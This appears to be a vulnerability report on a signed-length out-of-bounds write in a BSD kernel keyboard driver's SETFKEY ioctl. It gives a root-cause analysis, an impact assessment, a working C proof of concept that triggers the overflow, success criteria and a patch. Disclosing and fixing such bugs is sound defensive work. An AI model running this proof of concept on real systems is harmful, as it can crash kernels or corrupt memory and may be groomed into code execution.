• File: sys/dev/misc/kbd/kbd.c
• Lines: 1090, 1091, 1092
• Severity: High
• CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H
• CWE: CWE-787 Out-of-bounds Write
• Confidence: certain

Summary

The SETFKEY ioctl handler computes the destination length as imin(fkeyp->flen, MAXFK) where fkeyarg_t.flen is declared char (signed on x86_64).

A negative flen (e.g. -1) makes imin return -1, which is then stored into u_char kb_fkeytab[].len as 255. The next line passes that 255 as the size to bcopy from a 16-byte source (fkeyp->keydef, sitting in the 128-byte on-stack ioctl staging buffer) into a 16-byte destination (fkeytab[keynum].str), producing both a kernel stack read overrun and a heap/static write overrun of up to ~239 bytes.

Root cause

sys/sys/kbio.h:225-230 declares

struct fkeyarg {
    u_short keynum;
    char keydef[MAXFK];
    char flen;
};

with flen as plain char (signed on the primary x86_64 platform).

sys/sys/libkern.h:70 defines imin(int a, int b) as a signed comparison returning (a<b)?a:b.

At sys/dev/misc/kbd/kbd.c:1090, kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK) evaluates imin(-1, 16) = -1; assigning the int -1 into u_char .len (sys/kbio.h:221) silently wraps to 255.

kbd.c:1091-1092 then does bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len) = bcopy of 255 bytes.

The bound check at kbd.c:1086 only validates keynum, never flen.

PIO_KEYMAPENT has an analogous write but uses fixed sizeof(keyp->key) so it is safe; only SETFKEY reads user-controlled .len back as the size.

Threat

Reachable on the default kernel configuration: X86_64_GENERIC enables KBD_INSTALL_CDEV (creates /dev/kbd0) and does NOT define KBD_DISABLE_KEYMAP_LOAD, so the SETFKEY branch is compiled in.

The attacker must hold an open fd to /dev/kbdN (or /dev/kbdmux0, /dev/vkbdctlN). The device node is created mode 0600 root:wheel (kbd.c:565-567) and genkbdopen additionally requires caps_priv_check_self(SYSCAP_RESTRICTEDROOT) (kbd.c:672), so the trigger is restricted to root or processes granted the RESTRICTEDROOT capability.

Impact for such a principal:

• kernel heap corruption (kbdmux/ukbd/vkbd use kmalloc'd fkeytab) or
• .bss/.data corruption (atkbd's console keyboard uses static fkeytab_t default_fkeytab[96] at sys/dev/misc/kbd/atkbd.c:300), plus a 127-byte stack read past the 128-byte stkbuf in mapped_ioctl.

Bypasses jail/Caps restrictions on root and can be groomed into kernel code execution; minimum impact is kernel panic (DoS).

The corrupted .len also arms a follow-up GETFKEY on the same keynum to read 255 bytes back through the same staging buffer, overflowing it on the read path.

Exploit / PoC

/* setfkey_oob.c — cc -o setfkey_oob setfkey_oob.c ; run as root */
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    int fd = open("/dev/kbd0", O_RDWR);
    if (fd < 0) { perror("open /dev/kbd0"); return 1; }
    struct fkeyarg fk;
    memset(&fk, 0x41, sizeof(fk));
    fk.keynum = 95;   /* last entry: maximises overflow past the array */
    fk.flen = -1;     /* imin(-1, MAXFK) = -1 -> stored as u_char 255 */
    if (ioctl(fd, SETFKEY, &fk) < 0) { perror("SETFKEY"); close(fd); return 1; }
    printf("overflow triggered; expect panic or silent heap corruption\n");
    close(fd);
    return 0;
}

Success criteria: kernel panic (witness fatal trap 12: page fault while copying past the fkeytab allocation, or heap corruption symptoms such as freed item modified/use-after-free from umalloc/objcache), or — on atkbd's static fkeytab — silent corruption of the adjacent static globals that surfaces on later use.

Use the /dev/kbdmux0 minor if no atkbd is attached; both share genkbd_commonioctl via kbd_ioctl.

Recommended fix

Treat flen as unsigned before clamping, so the comparison cannot produce a negative result.

--- a/sys/dev/misc/kbd/kbd.c
+++ b/sys/dev/misc/kbd/kbd.c
@@ -1087,7 +1087,8 @@ genkbd_commonioctl(keyboard_t *kbd, u_long cmd, caddr_t arg)
            lwkt_reltoken(&kbd_token);
            return EINVAL;
        }
-       kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);
+       /* fkeyarg_t.flen is plain char (signed); interpret unsigned and clamp. */
+       kbd->kb_fkeytab[fkeyp->keynum].len = imin((u_int)(u_char)fkeyp->flen, MAXFK);
        bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str,
              kbd->kb_fkeytab[fkeyp->keynum].len);
        break;

With this change, flen=-1 (or any value > MAXFK) is reduced to 255 unsigned and then clamped by imin to MAXFK=16, matching the .str[16] / keydef[16] buffer sizes.

A belt-and-suspenders alternative is to additionally cap the bcopy length: bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, imin(kbd->kb_fkeytab[fkeyp->keynum].len, MAXFK));.

Consider also changing struct fkeyarg.flen to u_char in sys/sys/kbio.h:228 for ABI-compatible hardening, but the cast above is sufficient and source-compatible.

Related findings

• DF-1504 (sibling): genkbd_get_fkeystr off-by-one in same file.
• DF-1505 (sibling): kqfilter NULL-deref on detached kbd in same file.